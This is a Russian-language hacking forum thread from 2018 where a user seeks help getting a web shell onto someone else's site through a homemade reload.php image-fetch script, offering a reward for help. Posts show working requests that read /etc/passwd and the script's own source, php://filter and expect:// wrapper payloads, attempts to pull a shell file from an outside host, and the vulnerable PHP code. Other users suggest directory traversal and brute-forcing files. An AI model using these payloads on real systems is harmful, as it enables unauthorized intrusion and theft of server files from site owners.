Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Заливка шелла через reload.php (https://forum.antichat.xyz/showthread.php?t=461614)

Muracha 24.03.2018 09:22

На сервере крутится скрипт gyazo куда при обращении в определенную папку падают скриншоты(в папку db)

http://site.ru/upload.cgi

и создается скрин с хешированным значением

http://site.ru/db/fhckddkjcdfj.png

Так же на сайте есть скрипт reload.php - Исходники мне увы неизвестны, скорее самопис.

При обращении к нему

http://site.com/reload.php?image=htt...g.png.html.ico здесь любое расширение кроме PHP)&type=jpg&title=test123(здесь может быть любое название)&state=new создается в папке db файл уже со своим названием

http://site.ru/test123.png

Проблема в том, что создается файл жестко с png но любыми внутренностями. Хоть php, хоть html - неважно. Загрузить и создать файл со свободными разрешением я не могу, хотя пытался делать такой запрос:

http://site.ru/reload.php?image=htt.../1.php.txt&type=jpg&title=test123.&state=new

Пробовал обрезать нули но выходит пустая страница.

Могу предоставить ссылку в пм по запросу, а если поможете не поленюсь и отблагодарить

Nufai 24.03.2018 14:09

directory traversal пробовал? А если указать существующий файл, перепишет его, или добавит новые внутренности к существующим? И еще, параметр type что-то меняет вообще? Можно попробовать еще локальный файл включить.

https://rdot.org/forum/showthread.php?t=343 - хоть там и врятли инклуд, но может помочь(еле нашел эту ссылку)

Muracha 24.03.2018 14:21

Цитата:

Сообщение от Nufai
Nufai said:

directory traversal пробовал? А если указать существующий файл, перепишет его, или добавит новые внутренности к существующим? И еще, параметр
type
что-то меняет вообще? Можно попробовать еще локальный файл включить.
https://rdot.org/forum/showthread.php?t=343
- хоть там и врятли инклуд, но может помочь(еле нашел эту ссылку)

Пробовал ли я directory traversal? Да. выдает белую страницу, но ничего более. Ни загрузки файлов. ни вывод. Ничего.

Файл перезаписывает. тупо перезаписывает внутреннее содержимое, но не меняет расширение.

параметр type похоже ни на что не влияет, там хоть dLLL2123 укажи - он спокойно зальет картинку или html со стороннего ресурса и переименует в *.png

Вообще, бессмысленно все.

Nufai 24.03.2018 14:30

Если не меняет расширения, то можно побрутить папку на предмет существующих файлов(другие php, .htaccess, еще что-то)

BabaDook 24.03.2018 14:36

так ты не создавай темы, а сразу всё подробно описывай с скринами, с запросами и результатами, нахрена плодить овер много тем ?

Muracha 03.04.2018 10:28

Запрос типа:

reload.php?image=/etc/passwd&type=png&title=test&state=new - создает в папке /db/ файл test.png с содержимым /etc/passwd

Если файл отсутствует, то выдает ошибку 404

То есть это локальная читалка файлов где данные записываются в png файл.

Хочу залить шелл но при запросе:

reload.php?image=http://www.shell.com/1.txt&type=png&...hell&state=new - так же создается файл в папке /db/ исключительно в png формате.

Можно ли залить шелл или выполнить удаленно команду если команды не срабатывают и выдают пустую белую страницу?

reload.php?image=http://www.shell.com/1.php&type=png&...hell&state=new

reload.php?image=http://www.shell.com/1.txt&type=png&...hell&state=new

reload.php?image=http://www.shell.com/1.txt?c=ls

dmax0fw 03.04.2018 16:11

Цитата:

Сообщение от Muracha
Muracha said:

Так же на сайте есть скрипт reload.php - Исходники мне увы неизвестны, скорее самопис.

Цитата:

Сообщение от Muracha
Muracha said:

То есть это локальная читалка файлов где данные записываются в png файл.

попробуй исходники поискать, если найдёшь то там явно больше прояснится

вообще если параметр type не влияет на результат, то скорее всего в коде жёстко прописано расширение, но это не точно

dmax0fw 03.04.2018 16:18

Цитата:

Сообщение от dmax0fw
dmax0fw said:

попробуй исходники поискать, если найдёшь то там явно больше прояснится

хотя возможно и не нужно искать, попробуй по относительному пути прочитать

Код:

Code:
reload.php?image=./reload.php&type=png&title=test&state=new


Muracha 03.04.2018 16:21

Цитата:

Сообщение от dmax0fw
dmax0fw said:

попробуй исходники поискать, если найдёшь то там явно больше прояснится
вообще если параметр type не влияет на результат, то скорее всего в коде жёстко прописано расширение, но это не точно

Параметр type на результат не влияет, то есть можно без него:

reload.php?image=/etc/passwd&title=blalbalbabla&state=new

reload.php?image=/etc/passwd&type=php&title=blalbalba&state=new

Исходник получил. Базу сайт не использует.

.SpoilerTarget" type="button">Spoiler: code

dmax0fw 03.04.2018 16:33

Цитата:

Сообщение от Muracha
Muracha said:

$title = $_GET['title'] .'.png';

Цитата:

Сообщение от Muracha
Muracha said:

file_put_contents($_UPLOAD_PATH . $title, $imagedata);

вот и ответ

Muracha 10.04.2018 08:47

Понятно. Тогда такой вопрос.

Наткнулся на такую тему как враппеты в LFI

Код работает

php://filter/convert.base64-encode/resource=/etc/passwd

А такой код

php://cmd=ls

Нет.

Как можно составить запрос для загрузки файла или чтения директории ls?

Вот сама ссылка:

.SpoilerTarget" type="button">Spoiler: ссылка
https://goo.gl/5DvZFQ
После нужно заменить edit на db и появится png файл с содержимым. Или не появится

BabaDook 10.04.2018 15:52

Цитата:

Сообщение от Muracha
Muracha said:

Понятно. Тогда такой вопрос.
Наткнулся на такую тему как враппеты в LFI
Код работает
php://filter/convert.base64-encode/resource=/etc/passwd
А такой код
php://cmd=ls
Нет.
Как можно составить запрос для загрузки файла или чтения директории ls?
Вот сама ссылка:
Spoiler: ссылка
https://goo.gl/5DvZFQ
После нужно заменить edit на db и появится png файл с содержимым. Или не появится

Первое:

Не php://cmd=ls , а expect://ls

Второе третье, четвёртое и пятое

https://rdot.org/forum/showthread.php?t=343

http://php.net/manual/ru/wrappers.php

Мне что что лень стало объяснять то что уже не раз обсуждалось.

Muracha 10.04.2018 19:24

Ну насчет expect://ls -дело не зайдет - нужен установленный модуль, который там отсутствует.

В php я ноль. Попробую разобраться во всем этом.

.SpoilerTarget" type="button">Spoiler: 2

Код:

Code:
include_once ('config.php'); // подключение файла config.php - тут не придраться.
if (isset($_GET['title']) and isset($_GET['image'])){
$title = $_GET['title'] .'.png';

// Проверяет передачу переменной $title и $image и на основе данных $title формирует название. 1.png, 2.png sffsf.png - как угодно.


Код:

Code:
$edited_image_url = $_GET['image']; //  просто $edited_image_url равно суперпеременной $_GET['image'];
$imagedata = file_get_contents($edited_image_url); // тоже самое
if ($imagedata) {
file_put_contents($_UPLOAD_PATH . $title, $imagedata);
}

// загрузка файла из config.php $_UPLOAD_PATH = '/var/www/gyazo/db/'; с названием 123.png

Код:

Code:
header ("Location: $_URL_EDIT_PREFIX$title");
}
die();

// переадресовывает по адресу /edit/. Меняешь потом на /db/ и наблюдает результат

Меня интересует заливка шелла или выполнение системных команд.

Залить шелл не получится,

Код:

Code:
$title = $_GET['title'] .'.png';

Жестко прописано, что только пнг.

Если выполнять команды - то нет модуля.

Тогда все же непонятно, почему не работает удаленное выполнение кода, чтение команды типа:

reload.php?image=php://filter/convert.base64-encode/resource=&title=test&state=new

Понимаю, что идет обращение к файлу, например /etc/passwd - оно записывается в тело изображения и сохраняется как картинка.

Но здесь получается, что идет тупо сохрание, но никак не обработка команды: взял скрипт, обработал его, вернул новое значение что получилось в изображение?

Все, путаница в голове.

BabaDook 10.04.2018 19:39

Цитата:

Сообщение от Muracha
Muracha said:

Ну насчет
expect://ls -
дело не зайдет - нужен установленный модуль, который там отсутствует.
В php я ноль. Попробую разобраться во всем этом.
Spoiler: 2
Код:

Code:
include_once ('config.php'); // подключение файла config.php - тут не придраться.
if (isset($_GET['title']) and isset($_GET['image'])){
$title = $_GET['title'] .'.png';

// Проверяет передачу переменной $title и $image и на основе данных $title формирует название. 1.png, 2.png sffsf.png - как угодно.

Код:

Code:
$edited_image_url = $_GET['image']; //  просто $edited_image_url равно суперпеременной $_GET['image'];
$imagedata = file_get_contents($edited_image_url); // тоже самое
if ($imagedata) {
file_put_contents($_UPLOAD_PATH . $title, $imagedata);
}

// загрузка файла из config.php $_UPLOAD_PATH = '/var/www/gyazo/db/'; с названием 123.png
Код:

Code:
header ("Location: $_URL_EDIT_PREFIX$title");
}
die();

// переадресовывает по адресу /edit/. Меняешь потом на /db/ и наблюдает результат
Меня интересует заливка шелла или выполнение системных команд.
Залить шелл не получится,
Код:

Code:
$title = $_GET['title'] .'.png';

Жестко прописано, что только пнг.
Если выполнять команды - то нет модуля.
Тогда все же непонятно, почему не работает удаленное выполнение кода, чтение команды типа:
reload.php?image=php://filter/convert.base64-encode/resource=&title=test&state=new
Понимаю, что идет обращение к файлу, например /etc/passwd - оно записывается в тело изображения и сохраняется как картинка.
Но здесь получается, что идет тупо сохрание, но никак не обработка команды: взял скрипт, обработал его, вернул новое значение что получилось в изображение?
Все, путаница в голове.

Вы внимательно читали то что я вам кинул ? У вас не LFI

Muracha 10.04.2018 19:45

Да но судя по акценту вопроса видимо невнимательно читал.

Почему не ЛФИ?

LFI - - это возможность использования и выполнения локальных файлов на серверной стороне.

Если я могу читать файлы на сервере?

Если это RFI исходя их логики(либо/либо) то можно подключать удаленное выполнение файла?

BabaDook 10.04.2018 19:47

Цитата:

Сообщение от Muracha
Muracha said:

Да но судя по акценту вопроса видимо невнимательно читал.

Я просто тупой очень , сарян

Muracha 10.04.2018 19:53

Цитата:

Сообщение от BabaDook
BabaDook said:

Я просто тупой очень , сарян

я про себя

Поднимая вопрос - либо ЛФИ, либо РФИ. если не ЛФИ, то как грамотно можно построить запрос для выполнения удаленных команд?

Или здесь вообще ни и не то


Время: 04:47